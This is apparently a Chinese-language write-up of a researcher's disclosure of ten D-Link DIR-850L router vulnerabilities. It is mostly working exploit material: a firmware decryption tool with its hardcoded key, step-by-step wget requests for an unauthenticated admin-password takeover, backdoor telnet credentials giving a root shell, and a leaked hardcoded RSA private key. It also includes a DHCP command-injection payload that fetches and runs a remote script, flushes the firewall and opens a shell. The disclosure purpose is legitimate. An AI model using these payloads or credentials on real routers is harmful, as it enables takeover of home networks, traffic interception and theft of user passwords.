安全研究人员Pierre Kim日前披露D-Link DIR 850LAC1200型双频千兆云路由器被曝10个安全问题,包括XSS攻击,缺乏应有的固件保护,后门和root提权等。这10个安全问题分别是:

Firmware。对firmware缺乏足够的安全保护。 XSS漏洞。攻击者可以利用XSS攻击来获取已认证用户的认证cookie。

Retrieving admin password。攻击者可以提取admin的口令,利用MyDlink云协议添加攻击者帐号到路由器,来获取路由器的控制权;

Weak Cloud protocol。MyDlink协议基于TCP,路由器和MyDlink账户之间的通信没有加密

Backdoor access。存在后门,攻击者可以获取root权限。

Stunnel private keys。加密私钥硬编码在固件中,攻击者提取后可以执行中间人攻击。

Nonce bruteforcing for DNS configuration。攻击者可以通过非认证的HTTP请求,转发流量等方式改变路由器的DNS配置。

Weak files permission and credentials stored in cleartext。路由器明文保存证书信息。

Pre-Auth RCEs as root (L2)。DHCP客户端存在被命令注入的可能,攻击者可以用来获取设备的root权限。

DoS against some daemons。攻击者可以远程攻击路由器上运行的守护进程和服务。

以上漏洞存在于Dlink 850L revA(DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)和Dlink 850L revB(DIR850LB1_FW207WWb05.bin)中的至少一个固件中。

Dlink 850L的最新固件镜像revA (DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)未进行保护,攻击者可以伪造一个新的固件镜像。

Dlink 850L的最新固件revB (DIR850LB1_FW207WWb05.bin,DIR850L_REVB_FW207WWb05_h1ke_beta1.bin和DIR850LB1 FW208WWb02.bin)用硬编码密码进行保护的。

研究者用下面的程序来解密固件镜像。

/* 
 * Simple tool to decrypt D-LINK DIR-850L REVB firmwares 
 *
 * $ gcc -o revbdec revbdec.c
 * $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
 */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #define USAGE "Usage: decimg <filename> <key>\n" int main(int argc, char **argv) { int i, fi; int fo = STDOUT_FILENO, fe = STDERR_FILENO; if (argc != 3)
        {
                write(fe, USAGE, strlen(USAGE)); return (EXIT_FAILURE);
        } if ((fi = open(argv[1], O_RDONLY)) == -1)
        {
                perror("open");
                write(fe, USAGE, strlen(USAGE)); return (EXIT_FAILURE);
        } const char *key = argv[2]; int kl = strlen(key);

        i = 0; while (1)
        { char buffer[4096]; int j, len;
                len = read(fi, buffer, 4096); if (len <= 0) break; for (j = 0; j < len; j++) {
                        buffer[j] ^= (i + j) % 0xFB + 1;
                        buffer[j] ^= key[(i + j) % kl];
                }
                write(fo, buffer, len);
                i += len;
        } return (EXIT_SUCCESS);
} 
user@kali:~/petage-dlink$ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
user@kali:~/petage-dlink$ binwalk DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted

DECIMAL       HEXADECIMAL     DESCRIPTION
-------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/1" 593 0x251 LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes 10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes 1704052 0x1A0074 PackImg section delimiter tag, little endian size: 10518016 bytes; big endian size: 8298496 bytes 1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8296266 bytes, 2678 inodes, blocksize: 131072 bytes, created: 2017-01-20 06:39:29 

通过以上我们可以发现,并没有对固件镜像进行保护。

下面披露上面提到漏洞的相关细节。

XSS漏洞细节

通过分析/htdocs/web文件夹下的php文件,我们可以发现XSS漏洞的细节。

攻击者通过XSS漏洞来写去认证用户的认证cookies。

/htdocs/web/wpsacts.php文件:

user@kali:~/petage-dlink$ wget -qO- --post-data='action=<a>' http://ip:port/wpsacts.php <?xml version="1.0" encoding="utf-8"?> <wpsreport> <action><a></action> <result></result> <reason></reason> </wpsreport> user@kali:~/petage-dlink$ cat ./fs/htdocs/web/wpsacts.php
[..] <wpsreport> <action><?echo $_POST["action"];?></action> [...] 

/htdocs/web/shareport.php文件中的XSS代码:

[...] <action><?echo $_POST["action"];?></action> [...] 

/htdocs/web/sitesurvey.php文件中的XSS代码:

[...] <action><?echo $_POST["action"];?></action> [...] 

/htdocs/web/wandetect.php文件中的XSS代码:

[...] <action><?echo $_POST["action"];?></action> [...] 

/htdocs/web/wpsacts.php文件中的XSS代码:

[...] <action><?echo $_POST["action"];?></action> [...] 

Retrieving admin password细节

网页 http://ip_of_router/register_send.php 并不对用户进行认证,攻击者可以利用该网页的漏洞获取设备的控制权。

攻击场景:

攻击者可以用 /register_send.php 页面进行以下操作:

创建MyDlink Cloud账户;

利用创建的账户登入设备;

把设备加入账户中。

攻击场景重现:

用页面 http://ip_of_router/register_send.php 作为攻击者和远程Dlink API之间的接口。该页面可以提取明文保存的用户口令。

$devpasswd = query("/device/account/entry/password"); <- $devpasswd contains the password
$action = $_POST["act"];                                 of the device 

178 //sign up 179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 180 "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]. 181 "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." "; 182 183 $post_url_signup = "/signin/"; 184 185 $action_signup = "signup"; 186 187 //sign in  188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 189 "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." "; 190 191 $post_url_signin = "/account/?signin"; 192 193 $action_signin = "signin"; 194 195 //add dev (bind device) 196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 197 "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." "; 198 199 $post_url_adddev = "/account/?add"; 200 201 $action_adddev = "adddev"; 202 203 //main start 204 if($action == $action_signup)                    <---- first request 205 { 206 $post_str = $post_str_signup; 207 $post_url = $post_url_signup; 208 $withcookie = ""; //signup dont need cookie info 209 } 210 else if($action == $action_signin)               <---- second request 211 { 212 $post_str = $post_str_signin; 213 $post_url = $post_url_signin; 214 $withcookie = "\r\nCookie: lang=en; mydlink=pr2c11jl60i21v9t5go2fvcve2;"; 215 } 216 else if($action == $action_adddev)               <---- 3rd request 217 { 218 $post_str = $post_str_adddev; 219 $post_url = $post_url_adddev; 220 } 

向路由器发送3个HTTP请求来利用该漏洞:

第一个请求 (signup)会在MyDlink服务上创建一个用户:

user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signup&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php <?xml version="1.0"?> <register_send> <result>success</result> <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> 

该请求被发送给MyDlink Cloud APIs:

179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 180 "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]. 181 "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." "; 

第二个请求 (signin)路由器会将该账户与新创建的用户相关联,但不激活:

user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signin&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php <?xml version="1.0"?> <register_send> <result>success</result> <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> 

该请求被发送给 MyDlink Cloud APIs:

188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 189 "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." "; 

第三个请求是把设备和dlink服务相管理,并发送设备口令给远程API。

user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=adddev&lang=en' http://ip/register_send.php <?xml version="1.0"?> <register_send> <result>success</result> <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> 

该请求被发送给 MyDlink Cloud APIs:

196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 197 "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." "; 

用注册的邮箱和口令登录 http://mydlink.com/,登录后看到的通用管理选项:

2.png

3.png4.png5.png

通过分析这些HTTP请求,我们可以获取目标路由器的信息。

6.png

PUT (PUT IDENTIFIER_OF_THE_ROUTER)命令提供了该设备的明文口令。

7.png

这张图的最后是一个 GET 请求

https://eu.mydlink.com/device/devices/DEVICEID?_=SOME_RANDOM_DATA&access_token=ACCESS_TOKEN 

POST数据:

{"id":"EDITED_DEVICE_ID","order":0,"mac":"EDITED_MAC_ADDRESS","model":"DIR-850L","ddnsServer":"eu.mydlink.com","activatedDate":"EDITED_ACTIVATION_DATE","hwVer":"B1","selected":true,"defaultIconUrl":"https://d3n8c69ydsbj5n.cloudfront.net/Product/Pictures/DIR-850L/DIR-850L_default.gif","type":"router","series":"","name":"","authKey":"","status":"","adminPassword":"","plainPassword":"","fwUpgrade":false,"fwVer":"","provVer":"","binded":true,"registered":null,"supportHttps":null,"signalAddr":"","features":[],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null},"added2UniPlugin":false,"connections":[{"id":"http","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"httpWithCredential","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"https","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"httpsWithCredential","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"liveview","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"playback","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"config","scheme":"","tunnel":null,"ip":null,"port":null}]} 

回应是明文(含有设备口令):

{"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}

GET 请求可以用来提取口令:

8.png

GET请求:

GET https://eu.mydlink.com/device/devices/DEVICEID?=RANDOM_NUMBER&access_token=ACCESS_TOKEN HTTP/1.1

回应是一样的,之前的明文口令和新的口令(admin口令):

{"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}

最后一个请求是询问关于浏览器和远程路由器之间的通道的:

9.png

发送给 /tssm/tssml.php 的请求请求远程云平台转发留到到设备号3XXXXXXX的设备。攻击者可以通过云平台获取新建立的TCP通道的信息:

https://eu.mydlink.com/tssm/tssml.php?id=EDITED&no=EDITED_DEVICE_ID&type=1&state=3&status=1&ctype=4&browser=Mozilla/5.0+(Windows+NT+6.1;+rv:50.0)+Gecko/20100101+Firefox/50.0&message=[{"service":"http","scheme":"http","tunnel":"relay","ip":"127.0.0.1","port":50453},{"service":"https","scheme":"https","tunnel":"relay","ip":"127.0.0.1","port":50454}]&_=EDITED_RANDOM_VALUE

监听 127.0.0.1:50453/tcp (HTTP) 和 127.0.0.1:50454/tcp (HTTP over SSL):

10.png

访问 http://127.0.0.1:50453/。 我们发现流量通过云协议被发送到远程路由器。

11.png

利用该泄露的口令,攻击者可以黑掉路由器,并把该路由器的固件更新为留有后门的固件。

12.png

Weak Cloud protocol

MyDlink Cloud协议没有加密机制,只使用了基本的TCP中继系统。所有的TCP流量都没有进行适当的加密。

理想状态下,用户可以利用rgbin来修改设备的MAC地址:

# /usr/sbin/devdata dump # will dump all the configuration # /usr/sbin/devdata set -e lanmac=00:11:22:33:44:55 # will define a new mac address for the lan interface

该程序只覆写 /dev/mtdblock/4 的文件

该漏洞会影响DLINK的支持MyDlink cloud protocol的NAS,路由器,摄像头等。

wireshark抓包(明文和自签名流量) :

16.png17.png

Backdoor access细节

revB镜像中,如果重设设备, /etc/init0.d/S80mfcd.sh init脚本 mfcd 开始运行:

mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
user@kali:~/petage-dlink$ cat fs/etc/init0.d/S80mfcd.sh #!/bin/sh echo [$0]: $1 ... > /dev/console
orig_devconfsize=`xmldbc -g /runtime/device/devconfsize` 
entn=`devdata get -e ALWAYS_TN` if [ "$1" = "start" ] && [ "$entn" = "1" ]; then mfcd -i br0 -t 99999999999999999999999999999 & exit fi if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then if [ -f "/usr/sbin/login" ]; then image_sign=`cat /etc/config/image_sign`
                mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 & else mfcd & fi else killall mfcd fi

攻击者可以获取设备的root shell权限:

user@kali:~/petage-dlink$ telnet 192.168.0.1 Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'. Login: Alphanetworks Password: wrgac25_dlink.2013gui_dir850l


BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands. # echo what what #

Stunnel private keys细节

密钥通过硬编码方式保存在固件中。管理通过HTTPS方式,攻击者可以发起SSL中间人攻击。细节如下:

# ls -la /etc/stunnel.key -rwxr-xr-x 1 root     root 1679 Jan 20 2017 /etc/stunnel.key # cat /etc/stunnel.key -----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAo/0bZcpc3Npc89YiNcP+kPxhLCGLmYXR4rHLt2I1BbnkXWHk
MY1Umfq9FAzBYSvPYEGER4gYq467yvp5wO97CUoTSJHbJDPnp9REj6wLcMkG7R9O
g8/WuQ3hsoexPu4YkjJXPhtQ6YkV7seEDgP3C2TNqCnHdXzqSs7+vT17chwu8wau
j/VMVZ2FRHU63JQ9DG6PqcudHTW+T/KVnmWXQnspgr8ZMhXobETtdqtRPtxbA8mE
ZeF8+cIoA9VcqP09/VMBbRm+o5+Q4hjtvSrv+W2bEd+BDU+V45ZX8ZfPoEWYjQqI
kv7aMECTIX2ebgKsjCK3PfYUX5PYbVWUV+176wIDAQABAoIBAQCQR/gcBgDQO7t+
uc9dmLTYYYUpa9ZEW+3/U0kWbuyRvi1DUAaS5nMiCu7ivhpCYWZSnTJCMWbrQmjN
vLT04H9S+/6dYd76KkTOb79m3Qsvz18tr9bHuEyGgsUp66Mx6BBsSKhjt2roHjnS 3W29WxW3y5f6NdAM+bu12Ate+sIq8WHsdU0hZD+gACcCbqrt4P2t3Yj3qA9OzzWb
b9IMSE9HGWoTxEp/TqbKDl37Zo0PhRlT3/BgAMIrwASb1baQpoBSO2ZIcwvof31h
IfrbUWgTr7O2Im7OiiL5MzzAYBFRzxJsj15mSm3/v3cZwK3isWHpNwgN4MWWInA1
t39bUFl5AoGBANi5fPuVbi04ccIBh5dmVipy5IkPNhY0OrQp/Ft8VSpkQDXdWYdo
MKF9BEguIVAIFPQU6ndvoK99lMiWCDkxs2nuBRn5p/eyEwnl2GqrYfhPoTPWKszF
rzzJSBKoStoOeoRxQx/QFN35/LIxc1oLv/mFmZg4BqkSmLn6HrFq2suVAoGBAMG1
CqmDs2vU43PeC6G+51XahvRI3JOL0beUW8r882VPUPsgUXp9nH3UL+l9/cBQQgUC
n12osLOAXhWDJWvJquK9HxkZ7KiirNX5eJuyBeaxtOSfBJEKqz/yGBRRVBdBHxT2
a1+gO0MlG6Dtza8azl719lr8m6y2O9pyIeUewUl/AoGAfNonCVyls0FwL57n+S2I
eD3mMJtlwlbmdsI1UpMHETvdzeot2JcKZQ37eIWyxUNSpuahyJqzTEYhf4kHRcO/
I0hvAe7UeBrLYwlZquH+t6lQKee4km1ULcWbUrxHGuX6aPBDBkG+s75/eDyKwpZA
S0RPHuUv2RkQiRtxsS3ozB0CgYEAttDCi1G82BxHvmbl23Vsp15i19KcOrRO7U+b
gmxQ2mCNMTVDMLO0Kh1ESr2Z6xLT/B6Jgb9fZUnVgcAQZTYjjXKoEuygqlc9f4S/
C1Jst1koPEzH5ouHLAa0KxjGoFvZldMra0iyJaCz/qHw6T4HXyALrbuSwOIMgxIM
Y00vZskCgYAuUwhDiJWzEt5ltnmYOpCMlY9nx5qJnfcSOld5OHZ0kUsRppKnHvHb
MMVyCTrp1jiH/o9UiXrM5i79fJBk7NT7zqKdI0qmKTQzNZhmrjPLCM/xEwAXtQMQ 1ldI69bQEdRwQ1HHQtzVYgKA9XCmvrUGXRq6E5sp2ky+X1QabC7bIg==
-----END RSA PRIVATE KEY----- # cat /etc/stunnel_cert.pem Certificate: Data:  Version: 3 (0x2)
    Serial Number: 87:6f:88:76:87:df:e7:78 Signature Algorithm: sha1WithRSAEncryption  Issuer: C=TW, ST=Taiwan, O=None, OU=None, CN=General Root CA/emailAddress=webmaster@localhost
    Validity
        Not Before: Feb 22 06:04:36 2012 GMT
        Not After : Feb 17 06:04:36 2032 GMT  Subject: C=TW, ST=Taiwan, L=HsinChu, O=None, OU=None, CN=General Router/emailAddress=webmaster@localhost
    Subject Public Key Info:
        Public Key Algorithm: rsaEncryption
            Public-Key: (2048 bit)  Modulus: 00:a3:fd:1b:65:ca:5c:dc:da:5c:f3:d6:22:35:c3:  fe:90:fc:61:2c:21:8b:99:85:d1:e2:b1:cb:b7:62: 35:05:b9:e4:5d:61:e4:31:8d:54:99:fa:bd:14:0c:  c1:61:2b:cf:60:41:84:47:88:18:ab:8e:bb:ca:fa: 79:c0:ef:7b:09:4a:13:48:91:db:24:33:e7:a7:d4: 44:8f:ac:0b:70:c9:06:ed:1f:4e:83:cf:d6:b9:0d:  e1:b2:87:b1:3e:ee:18:92:32:57:3e:1b:50:e9:89: 15:ee:c7:84:0e:03:f7:0b:64:cd:a8:29:c7:75:7c:  ea:4a:ce:fe:bd:3d:7b:72:1c:2e:f3:06:ae:8f:f5: 4c:55:9d:85:44:75:3a:dc:94:3d:0c:6e:8f:a9:cb: 9d:1d:35:be:4f:f2:95:9e:65:97:42:7b:29:82:bf: 19:32:15:e8:6c:44:ed:76:ab:51:3e:dc:5b:03:c9: 84:65:e1:7c:f9:c2:28:03:d5:5c:a8:fd:3d:fd:53: 01:6d:19:be:a3:9f:90:e2:18:ed:bd:2a:ef:f9:6d: 9b:11:df:81:0d:4f:95:e3:96:57:f1:97:cf:a0:45: 98:8d:0a:88:92:fe:da:30:40:93:21:7d:9e:6e:02:  ac:8c:22:b7:3d:f6:14:5f:93:d8:6d:55:94:57:ed: 7b:eb  Exponent: 65537 (0x10001)
    X509v3 extensions:
        X509v3 Basic Constraints:  CA:FALSE
        Netscape Comment: 
            OpenSSL Generated Certificate
        X509v3 Subject Key Identifier:  B5:BF:D1:A5:D6:6F:20:B0:89:1F:A6:C1:58:05:31:B2:B3:D0:C1:01 X509v3 Authority Key Identifier:  keyid:5D:F8:E9:B5:F1:57:A4:90:94:BB:9F:DB:F7:91:95:E7:1C:A2:E7:D2

Signature Algorithm: sha1WithRSAEncryption 3d:09:22:d0:a6:7d:9c:cd:bd:5b:ad:62:c2:6a:29:12:d1:61: 88:ca:1e:68:1d:04:dd:40:fb:a9:d3:9f:22:49:dc:fa:fb:3c: 21:dd:45:a5:53:1a:9b:80:ee:50:16:a6:36:3a:3c:f0:39:27:  e4:8d:70:20:03:73:7f:26:65:ac:ab:05:b1:84:ee:7c:16:43:  ca:2f:b5:6b:44:fc:75:a1:c7:86:04:18:b4:df:b2:76:f3:88:  fb:dc:ec:99:3d:fe:d1:7c:ea:fa:56:eb:0b:d5:69:84:48:3d: 12:db:d1:ef:f9:89:b0:62:70:ec:be:dd:e6:ef:dd:88:cf:f4:  e5:ff:1d:88:d5:e0:23:f0:bb:a3:df:8e:8a:05:ea:f3:dc:14: 49:2d:46:4a:27:40:a6:fc:70:4a:f5:94:3f:94:64:d1:93:7b: 03:12:75:67:30:ee:8c:07:e1:73:77:00:23:d6:68:20:07:7f: 8f:4e:1d:e8:76:87:0d:4c:26:f6:56:84:e2:56:98:a0:6c:ad: 71:21:23:a4:a6:3b:b9:8e:27:13:c2:ae:70:0f:6a:c6:be:b8: 88:9a:0a:d7:00:39:3a:90:7e:5f:4d:22:88:4e:a6:8a:2f:42:  b4:dc:18:a4:eb:fa:f1:04:0e:a7:e2:ff:5d:ac:cd:61:28:01: 7e:d3:01:13 -----BEGIN CERTIFICATE-----
MIIEBDCCAuygAwIBAgIJAIdviHaH3+d4MA0GCSqGSIb3DQEBBQUAMHoxCzAJBgNV
BAYTAlRXMQ8wDQYDVQQIDAZUYWl3YW4xDTALBgNVBAoMBE5vbmUxDTALBgNVBAsM
BE5vbmUxGDAWBgNVBAMMD0dlbmVyYWwgUm9vdCBDQTEiMCAGCSqGSIb3DQEJARYT
d2VibWFzdGVyQGxvY2FsaG9zdDAeFw0xMjAyMjIwNjA0MzZaFw0zMjAyMTcwNjA0
MzZaMIGLMQswCQYDVQQGEwJUVzEPMA0GA1UECAwGVGFpd2FuMRAwDgYDVQQHDAdI
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/pD8YSwhi5mF0eKxy7diNQW55F1h5DGNVJn6vRQMwWErz2BBhEeIGKuOu8r6ecDv
ewlKE0iR2yQz56fURI+sC3DJBu0fToPP1rkN4bKHsT7uGJIyVz4bUOmJFe7HhA4D 9wtkzagpx3V86krO/r09e3IcLvMGro/1TFWdhUR1OtyUPQxuj6nLnR01vk/ylZ5l
l0J7KYK/GTIV6GxE7XarUT7cWwPJhGXhfPnCKAPVXKj9Pf1TAW0ZvqOfkOIY7b0q 7/ltmxHfgQ1PleOWV/GXz6BFmI0KiJL+2jBAkyF9nm4CrIwitz32FF+T2G1VlFft
e+sCAwEAAaN7MHkwCQYDVR0TBAIwADAsBglghkgBhvhCAQ0EHxYdT3BlblNTTCBH
ZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFLW/0aXWbyCwiR+mwVgFMbKz 0MEBMB8GA1UdIwQYMBaAFF346bXxV6SQlLuf2/eRleccoufSMA0GCSqGSIb3DQEB
BQUAA4IBAQA9CSLQpn2czb1brWLCaikS0WGIyh5oHQTdQPup058iSdz6+zwh3UWl
UxqbgO5QFqY2OjzwOSfkjXAgA3N/JmWsqwWxhO58FkPKL7VrRPx1oceGBBi037J2 84j73OyZPf7RfOr6VusL1WmESD0S29Hv+YmwYnDsvt3m792Iz/Tl/x2I1eAj8Luj 346KBerz3BRJLUZKJ0Cm/HBK9ZQ/lGTRk3sDEnVnMO6MB+FzdwAj1mggB3+PTh3o
docNTCb2VoTiVpigbK1xISOkpju5jicTwq5wD2rGvriImgrXADk6kH5fTSKITqaK
L0K03Bik6/rxBA6n4v9drM1hKAF+0wET
-----END CERTIFICATE-----

Nonce bruteforcing for DNS configuration细节

htdocs/parentalcontrols/bind.php 文件可以更改DNS配置信息,并不检查管理用户的认证状态。因为对HTTP请求没有限制和认证,攻击者可以采取暴力方式破解nonce。

8 $uptime_limit = query(INF_getinfpath($WAN1)."/open_dns/nonce_uptime") + 1800; 9 if(query(INF_getinfpath($WAN1)."/open_dns/nonce")!=$_GET["nonce"] || $_GET["nonce"]=="") 10 { 11 $Response="BindError"; 12 } 13 else if(query("/runtime/device/uptime") > $uptime_limit) 14 { 15 $Response="BindTimeout"; 16 }

攻击者定义新的DNS服务器:

 21 set(INF_getinfpath($WAN1)."/open_dns/deviceid", $_GET["deviceid"]);
 22 set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns1", $_GET["dnsip1"]);
 23 set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns2", $_GET["dnsip2"]);

攻击者可以用vuln来转发流量到自己控制的服务器。

Weak files permission and credentials stored in cleartext细节

一些文件权限较弱:

1. /var/passwd

/var/passwd 明文保存用户证书,而该文件权限是-rw-rw-rw- (666)

# ls -la /var/passwd -rw-rw-rw- 1 root     root 28 Jan 1 00:00 /var/passwd # cat /var/passwd "Admin" "password" "0"

2. /var/etc/hnapasswd

攻击者也可以利用 /var/etc/hnapasswd 提取明文的密码,/var/etc/hnapasswd 文件权限也是-rw-rw-rw- (666)

# cat /var/etc/hnapasswd Admin:password
# ls -la /var/etc/hnapasswd -rw-rw-rw- 1 root     root 20 Jan 1 00:00 /var/etc/hnapasswd

3. /etc/shadow

/etc/shadow 的权限是rwxrwxrwx777)

# ls -al /etc/shadow  lrwxrwxrwx 1 root     root 15 Jan 20 2017 /etc/shadow -> /var/etc/shadow # ls -la /var/etc/shadow -rw-r--r-- 1 root     root 93 Jan 1 00:00 /var/etc/shadow

/var/etc/shadow 内有管理用户的DES哈希值。

# cat /var/etc/shadow root:!:10956:0:99999:7::: nobody:!:10956:0:99999:7::: Admin:zVc1PPVw2VWMc:10956:0:99999:7:::

4. /var/run/storage_account_root

/var/run/storage_account_root 含有明文证书。

/var/passwd 文件权限是 -rw-rw-rw- (666)

# ls -la /var/run/storage_account_root -rw-rw-rw- 1 root     root 40 Jan 1 00:00 /var/run/storage_account_root # cat /var/run/storage_account_root admin:password,:::
jean-claude:dusse,:::

5. /var/run/hostapd*

/var/run/hostapd* 含有 明文的无线密码,文件权限是-rw-rw-rw- (666)

# ls -la /var/run/hostapd* -rw-rw-rw- 1 root     root 73 Jan 1 00:00 /var/run/hostapd-wlan1wps.eap_user
-rw-rw-rw- 1 root     root 1160 Jan 1 00:00 /var/run/hostapd-wlan1.conf
-rw-rw-rw- 1 root     root 73 Jan 1 00:00 /var/run/hostapd-wlan0wps.eap_user
-rw-rw-rw- 1 root     root 1170 Jan 1 00:00 /var/run/hostapd-wlan0.conf # cat /var/run/hostapd*|grep -i pass wpa_passphrase=aaaaa00000
wpa_passphrase=aaaaa00000

Pre-Auth RCEs as root (L2)细节

路由器上的DHCP客户端易受到命令注入攻击。

dhcpd.conf文件:

rasp-pwn-dlink# cat /etc/dhcp/dhcpd.conf option domain-name ";wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;";
option domain-name-servers 8.8.8.8, 8.8.4.4;
default-lease-time 600;
max-lease-time 7200;
ddns-update-style none;
subnet 10.254.239.0 netmask 255.255.255.224 {
  range 10.254.239.10 10.254.239.20;
  option routers 10.254.239.1;
}
rasp-pwn-dlink# ifconfig eth1 eth1      Link encap:Ethernet  HWaddr 00:0e:c6:aa:aa:aa  
          inet addr:10.254.239.1 Bcast:10.254.239.255 Mask:255.255.255.0 inet6 addr: fe80::20e:caaa:aaaa:aaa/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500 Metric:1 RX packets:129 errors:0 dropped:0 overruns:0 frame:0 TX packets:107 errors:0 dropped:0 overruns:0 carrier:0  collisions:0 txqueuelen:1000 RX bytes:11181 (10.9 KiB)  TX bytes:49155 (48.0 KiB)

rasp-pwn-dlink# cat /var/www/html/dhcp-rce  #!/bin/sh wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd chmod 777 /var/telnetd-dhcpd-wan
(for i in 0 1 2 3; do # win races against legit iptables rules iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
sleep 10 done ) & /var/telnetd-dhcpd-wan -l /bin/sh -p 110 &

rasp-pwn-dlink# dhcpd eth1 Internet Systems Consortium DHCP Server 4.3.1 Copyright 2004-2014 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/ Config file: /etc/dhcp/dhcpd.conf
Database file: /var/lib/dhcp/dhcpd.leases
PID file: /var/run/dhcpd.pid
Wrote 1 leases to leases file.
Listening on LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27 Sending on   LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27 Sending on   Socket/fallback/fallback-net
rasp-pwn-dlink#

开机后发送DHCP请求,路由器会与WAN远程HTTP服务器发起连接:

rasp-pwn-dlink# tail -f /var/log/nginx/access.log 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"

来自WAN 的telnetd:

rasp-pwn-dlink# telnet 10.254.239.10 110 Trying 10.254.239.10...
Connected to 10.254.239.10.
Escape character is '^]'.


BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh)
